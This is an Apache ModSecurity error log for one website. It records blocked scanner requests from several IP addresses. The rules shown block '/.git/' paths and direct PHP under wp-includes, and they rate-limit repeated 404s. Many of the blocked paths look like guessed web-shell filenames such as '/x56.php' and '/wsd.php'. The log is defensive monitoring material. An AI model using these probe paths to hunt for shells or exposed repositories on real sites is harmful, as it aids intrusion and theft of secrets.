[Sat Feb 28 19:30:58.108450 2026] [:error] [pid 49763:tid 49781] [client 45.153.34.31:33428] [client 45.153.34.31] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/.git/config"] [unique_id "aaLR8rTHSOG_yf2PpqHGgQAAAc8"]
[Sat Feb 28 19:35:27.824088 2026] [:error] [pid 52460:tid 52484] [client 51.75.128.81:59054] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aaLS_7LWOogAgHGh62Q2CQAAAZU"]
[Sat Feb 28 19:35:30.212800 2026] [:error] [pid 49763:tid 49783] [client 51.75.128.81:49138] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aaLTArTHSOG_yf2PpqHOjAAAAdE"]
[Sat Feb 28 19:35:32.801174 2026] [:error] [pid 49763:tid 49770] [client 51.75.128.81:49148] [client 51.75.128.81] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aaLTBLTHSOG_yf2PpqHOpgAAAcQ"]
[Sat Feb 28 19:39:40.646730 2026] [:error] [pid 52460:tid 52486] [client 40.85.218.222:46751] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLT_LLWOogAgHGh62Q5jAAAAZc"]
[Sat Feb 28 19:39:42.088059 2026] [:error] [pid 39183:tid 39213] [client 40.85.218.222:43530] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLT_hCf4HvhVePw3LbY2QAAABU"]
[Sat Feb 28 19:39:43.443526 2026] [:error] [pid 49763:tid 49770] [client 40.85.218.222:57003] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLT_7THSOG_yf2PpqHVtwAAAcQ"]
[Sat Feb 28 19:39:44.707087 2026] [:error] [pid 52460:tid 52481] [client 40.85.218.222:43569] [client 40.85.218.222] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/randkeyword.PhP7"] [unique_id "aaLUALLWOogAgHGh62Q5mgAAAZI"]
[Sat Feb 28 20:18:32.563569 2026] [:error] [pid 49763:tid 49786] [client 20.220.13.5:27852] [client 20.220.13.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Text/Diff/Engine/index.php"] [unique_id "aaLdGLTHSOG_yf2PpqEangAAAdQ"]
[Sat Feb 28 20:18:33.408917 2026] [:error] [pid 49763:tid 49785] [client 20.220.13.5:27885] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/autoload_classmap.php"] [unique_id "aaLdGbTHSOG_yf2PpqEapAAAAdM"]
[Sat Feb 28 20:18:34.250473 2026] [:error] [pid 39183:tid 39200] [client 20.220.13.5:27794] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/autoload_classmap.php"] [unique_id "aaLdGhCf4HvhVePw3LYKBwAAAAg"]
[Sat Feb 28 20:18:35.081807 2026] [:error] [pid 52460:tid 52478] [client 20.220.13.5:27874] [client 20.220.13.5] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/css/autoload_classmap.php"] [unique_id "aaLdG7LWOogAgHGh62RYYAAAAY8"]
[Sat Feb 28 20:45:55.417788 2026] [:error] [pid 39185:tid 39246] [client 20.104.124.39:50261] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aaLjgxVE-FfM89u7BQabLgAAAIA"]
[Sat Feb 28 20:45:56.100852 2026] [:error] [pid 39292:tid 39318] [client 20.104.124.39:50186] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aaLjhKIAO5fN7BxyqcFxLgAAANg"]
[Sat Feb 28 20:45:56.987833 2026] [:error] [pid 52460:tid 52464] [client 20.104.124.39:50195] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aaLjhLLWOogAgHGh62RwbwAAAYE"]
[Sat Feb 28 20:45:57.642136 2026] [:error] [pid 39185:tid 39269] [client 20.104.124.39:50178] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/tx1.php"] [unique_id "aaLjhRVE-FfM89u7BQabNgAAAJc"]
[Sat Feb 28 20:45:58.452756 2026] [:error] [pid 22194:tid 22208] [client 20.104.124.39:50291] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aaLjhn6mbajs3bzQGyuerAAAAUw"]
[Sat Feb 28 20:45:58.938243 2026] [:error] [pid 39184:tid 39221] [client 20.104.124.39:50181] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aaLjhltZF9Zd_U7easCyvAAAAEI"]
[Sat Feb 28 20:45:59.990318 2026] [:error] [pid 39185:tid 39253] [client 20.104.124.39:50274] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aaLjhxVE-FfM89u7BQabOQAAAIc"]
[Sat Feb 28 20:46:01.731284 2026] [:error] [pid 39292:tid 39310] [client 20.104.124.39:50269] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xv.php"] [unique_id "aaLjiaIAO5fN7BxyqcFxNwAAANA"]
[Sat Feb 28 20:46:02.989071 2026] [:error] [pid 39185:tid 39262] [client 20.104.124.39:50301] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aaLjihVE-FfM89u7BQabPAAAAJA"]
[Sat Feb 28 20:46:04.057944 2026] [:error] [pid 22194:tid 22197] [client 20.104.124.39:50177] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aaLjjH6mbajs3bzQGyuevQAAAUE"]
[Sat Feb 28 20:46:04.767712 2026] [:error] [pid 49763:tid 49779] [client 20.104.124.39:50271] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aaLjjLTHSOG_yf2PpqE_-AAAAc0"]
[Sat Feb 28 20:46:06.222599 2026] [:error] [pid 49763:tid 49789] [client 20.104.124.39:50278] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x56.php"] [unique_id "aaLjjrTHSOG_yf2PpqFABgAAAdc"]
[Sat Feb 28 20:46:07.942829 2026] [:error] [pid 39183:tid 39216] [client 20.104.124.39:50241] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aaLjjxCf4HvhVePw3LYmEwAAABg"]
[Sat Feb 28 20:46:10.318406 2026] [:error] [pid 39183:tid 39207] [client 20.104.124.39:50292] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aaLjkhCf4HvhVePw3LYmJgAAAA8"]
[Sat Feb 28 20:46:14.183279 2026] [:error] [pid 39185:tid 39248] [client 20.104.124.39:50182] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aaLjlhVE-FfM89u7BQabTQAAAII"]
[Sat Feb 28 20:46:15.830727 2026] [:error] [pid 49763:tid 49781] [client 20.104.124.39:50272] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/htaccess.php"] [unique_id "aaLjl7THSOG_yf2PpqFAowAAAc8"]
[Sat Feb 28 20:46:17.456851 2026] [:error] [pid 39183:tid 39203] [client 20.104.124.39:50263] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aaLjmRCf4HvhVePw3LYmVAAAAAs"]
[Sat Feb 28 20:46:18.779198 2026] [:error] [pid 11791:tid 11814] [client 20.104.124.39:50248] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aaLjmmuX5e1Q32gqxH29hwAAARU"]
[Sat Feb 28 20:46:20.266287 2026] [:error] [pid 39183:tid 39210] [client 20.104.124.39:50196] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aaLjnBCf4HvhVePw3LYmXwAAABI"]
[Sat Feb 28 20:46:21.735429 2026] [:error] [pid 49763:tid 49782] [client 20.104.124.39:50200] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/readme.php"] [unique_id "aaLjnbTHSOG_yf2PpqFAuAAAAdA"]
[Sat Feb 28 20:46:23.093004 2026] [:error] [pid 39185:tid 39260] [client 20.104.124.39:50282] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aaLjnxVE-FfM89u7BQabUQAAAI4"]
[Sat Feb 28 20:46:24.076846 2026] [:error] [pid 39184:tid 39224] [client 20.104.124.39:50207] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aaLjoFtZF9Zd_U7easCzGwAAAEU"]
[Sat Feb 28 20:46:24.531914 2026] [:error] [pid 49763:tid 49781] [client 20.104.124.39:50258] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aaLjoLTHSOG_yf2PpqFAwAAAAc8"]
[Sat Feb 28 20:46:25.841619 2026] [:error] [pid 39183:tid 39194] [client 20.104.124.39:50268] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/x50.php"] [unique_id "aaLjoRCf4HvhVePw3LYmagAAAAI"]
[Sat Feb 28 20:46:27.133045 2026] [:error] [pid 52460:tid 52486] [client 20.104.124.39:50286] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aaLjo7LWOogAgHGh62RwxgAAAZc"]
[Sat Feb 28 20:46:28.605900 2026] [:error] [pid 39183:tid 39205] [client 20.104.124.39:50293] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aaLjpBCf4HvhVePw3LYmbAAAAA0"]
[Sat Feb 28 20:46:33.265703 2026] [:error] [pid 11791:tid 11798] [client 20.104.124.39:50247] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aaLjqWuX5e1Q32gqxH29mgAAAQU"]
[Sat Feb 28 20:46:35.552466 2026] [:error] [pid 49763:tid 49790] [client 20.104.124.39:50180] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/fv.php"] [unique_id "aaLjq7THSOG_yf2PpqFBGwAAAdg"]
[Sat Feb 28 20:46:36.267921 2026] [:error] [pid 39292:tid 39310] [client 20.104.124.39:50265] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaLjrKIAO5fN7BxyqcFxWQAAANA"]
[Sat Feb 28 20:46:37.222873 2026] [:error] [pid 39292:tid 39318] [client 20.104.124.39:50259] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaLjraIAO5fN7BxyqcFxYgAAANg"]
[Sat Feb 28 20:46:37.703822 2026] [:error] [pid 52460:tid 52477] [client 20.104.124.39:50283] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaLjrbLWOogAgHGh62Rw1AAAAY4"]
[Sat Feb 28 20:46:38.506622 2026] [:error] [pid 52460:tid 52485] [client 20.104.124.39:50260] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/file.php"] [unique_id "aaLjrrLWOogAgHGh62Rw1gAAAZY"]
[Sat Feb 28 20:46:40.023961 2026] [:error] [pid 52460:tid 52478] [client 20.104.124.39:50210] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aaLjsLLWOogAgHGh62Rw2wAAAY8"]
[Sat Feb 28 20:46:41.490276 2026] [:error] [pid 49763:tid 49767] [client 20.104.124.39:50228] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aaLjsbTHSOG_yf2PpqFBQwAAAcE"]
[Sat Feb 28 20:46:43.068092 2026] [:error] [pid 52460:tid 52471] [client 20.104.124.39:50298] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aaLjs7LWOogAgHGh62Rw4QAAAYg"]
[Sat Feb 28 20:46:44.616518 2026] [:error] [pid 39184:tid 39224] [client 20.104.124.39:50221] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/lsd.php"] [unique_id "aaLjtFtZF9Zd_U7easCzQQAAAEU"]
[Sat Feb 28 20:46:46.776052 2026] [:error] [pid 22194:tid 22207] [client 20.104.124.39:50166] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aaLjtn6mbajs3bzQGyufGwAAAUs"]
[Sat Feb 28 20:46:47.457477 2026] [:error] [pid 11791:tid 11810] [client 20.104.124.39:50303] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aaLjt2uX5e1Q32gqxH29qwAAARE"]
[Sat Feb 28 20:46:47.905581 2026] [:error] [pid 39183:tid 39195] [client 20.104.124.39:50123] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aaLjtxCf4HvhVePw3LYmcgAAAAM"]
[Sat Feb 28 20:46:48.879150 2026] [:error] [pid 52460:tid 52486] [client 20.104.124.39:50294] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/as.php"] [unique_id "aaLjuLLWOogAgHGh62Rw6QAAAZc"]
[Sat Feb 28 20:46:49.861936 2026] [:error] [pid 52460:tid 52468] [client 20.104.124.39:50192] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaLjubLWOogAgHGh62Rw7QAAAYU"]
[Sat Feb 28 20:46:50.475844 2026] [:error] [pid 39184:tid 39242] [client 20.104.124.39:50226] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaLjultZF9Zd_U7easCzWAAAAFc"]
[Sat Feb 28 20:46:51.670263 2026] [:error] [pid 52460:tid 52477] [client 20.104.124.39:50194] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaLju7LWOogAgHGh62Rw-AAAAY4"]
[Sat Feb 28 20:46:52.447898 2026] [:error] [pid 11791:tid 11793] [client 20.104.124.39:50287] [client 20.104.124.39] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wsd.php"] [unique_id "aaLjvGuX5e1Q32gqxH29sQAAAQA"]
